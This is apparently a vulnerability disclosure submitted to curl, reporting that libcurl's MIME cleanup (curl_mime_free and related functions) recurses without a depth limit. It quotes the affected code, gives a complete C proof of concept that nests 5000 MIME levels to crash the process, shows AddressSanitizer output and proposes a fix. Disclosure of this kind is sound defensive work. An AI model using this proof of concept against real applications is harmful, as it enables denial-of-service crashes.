curl · Report #4024222
CVE-2026-92391: curl_mime_free stack overflow by recursion
How it was found
Hi all,
I've discovered a stack overflow in libcurl's MIME cleanup code. The read path in the MIME implementation is protected by a recursion depth limit (MAX_MIME_LEVELS = 40, defined at line 47 of lib/mime.c and checked in read_part_content and related functions), but the cleanup path has no equivalent guard. A deeply nested multipart structure built through the public API will crash the process when freed.
Impact
Any application using the libcurl MIME API (curl_mime_addpart / curl_mime_subparts) to process user-controlled MIME structure depth is at risk. The crash happens inside curl_mime_free as part of normal cleanup, so once the structure is built, there is no way to avoid it. In a server-side context where an application constructs a MIME request based on external input, an attacker can cause reliable process termination by supplying input that drives the nesting depth high enough. This does not appear to be exploitable for code execution.
Root cause
The cleanup functions form a mutual recursion with no depth limit. When a curl_mimepart holds subparts (set via curl_mime_subparts), the part's freefunc is set to mime_subparts_free. During curl_mime_free, the call chain is:
curl_mime_free -> Curl_mime_cleanpart -> cleanup_part_content -> part->freefunc() (i.e., mime_subparts_free) -> curl_mime_free -> ...
The relevant code in lib/mime.c:
/* line 1056 */
static void cleanup_part_content(curl_mimepart *part)
{
if(part->freefunc)
part->freefunc(part->arg); /* calls mime_subparts_free for multipart parts */
...
}
/* line 1075 */
static void mime_subparts_free(void *ptr)
{
curl_mime *mime = (curl_mime *)ptr;
if(mime && mime->parent) {
mime->parent->freefunc = NULL;
cleanup_part_content(mime->parent);
}
curl_mime_free(mime); /* recurses back into curl_mime_free */
}
/* line 1113 */
void curl_mime_free(curl_mime *mime)
{
curl_mimepart *part;
if(mime) {
mime_subparts_unbind(mime);
while(mime->firstpart) {
part = mime->firstpart;
mime->firstpart = part->nextpart;
Curl_mime_cleanpart(part); /* calls cleanup_part_content */
curlx_free(part);
}
curlx_free(mime);
}
}
Each nesting level adds roughly four stack frames. At 5000 levels the stack overflows (just an example number here, obvious dependent on system, memory, the orientation of the moon, etc). The same problem exists in multipart_size (line 1570) and Curl_mime_prepare_headers (line 1761), both of which recurse into child parts with no depth check. Curl_mime_prepare_headers at line 1860 does it here:
for(subpart = mime->firstpart; subpart; subpart = subpart->nextpart) {
result = Curl_mime_prepare_headers(data, subpart, NULL,
disposition, strategy);
if(result)
return result;
}
Compare this to how read_part_content handles it at line 703:
static size_t read_part_content(curl_mimepart *part, char *buffer,
size_t bufsize, bool *hasread,
size_t call_depth)
{
if(++call_depth > MAX_MIME_LEVELS)
return READ_ERROR;
...
The read path threads call_depth through every call and returns an error at 40 levels. The cleanup and sizing paths do neither.
There is also no depth check at construction time. curl_mime_addpart and curl_mime_subparts accept arbitrarily deep nesting without complaint, so curl's cleanup code is responsible for handling whatever structure the caller provides.
PoC
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *easy;
curl_mime *root;
curl_mime *current;
int i;
curl_global_init(CURL_GLOBAL_ALL);
easy = curl_easy_init();
root = curl_mime_init(easy);
current = root;
if(!easy || !root)
return 1;
for(i = 0; i < 5000; i++) {
curl_mimepart *part = curl_mime_addpart(current);
curl_mime *child = curl_mime_init(easy);
if(!part || !child)
return 1;
curl_mime_subparts(part, child);
current = child;
}
printf("freeing 5000 nested MIME levels\n");
fflush(stdout);
curl_mime_free(root);
curl_easy_cleanup(easy);
curl_global_cleanup();
return 0;
}
running:
freeing 5000 nested MIME levels
AddressSanitizer:DEADLYSIGNAL
=================================================================
==83118==ERROR: AddressSanitizer: stack-overflow on address 0x00016c63ffb8 (pc 0x0001032bf7a0 bp 0x00016c6400a0 sp 0x00016c63fd20 T0)
#0 0x0001032bf7a0 in cleanup_part_content mime.c:1061
#1 0x0001032c7a6c in mime_subparts_free mime.c:1081
#2 0x0001032bf794 in cleanup_part_content mime.c:1059
#3 0x0001032bed6c in Curl_mime_cleanpart mime.c:1101
#4 0x0001032c0534 in curl_mime_free mime.c:1122
#5 0x0001032c7a78 in mime_subparts_free mime.c:1083
#6 0x0001032bf794 in cleanup_part_content mime.c:1059
#7 0x0001032bed6c in Curl_mime_cleanpart mime.c:1101
#8 0x0001032c0534 in curl_mime_free mime.c:1122
.....
Fix direction
The most direct fix is to thread a depth counter through curl_mime_free, Curl_mime_cleanpart, cleanup_part_content, and mime_subparts_free, following the same pattern already used in read_part_content. The same treatment is needed for multipart_size and Curl_mime_prepare_headers. An iterative rewrite of any of these functions would be more robust than a depth cap, too.
Impact
Stack overflow
Cheers, Josh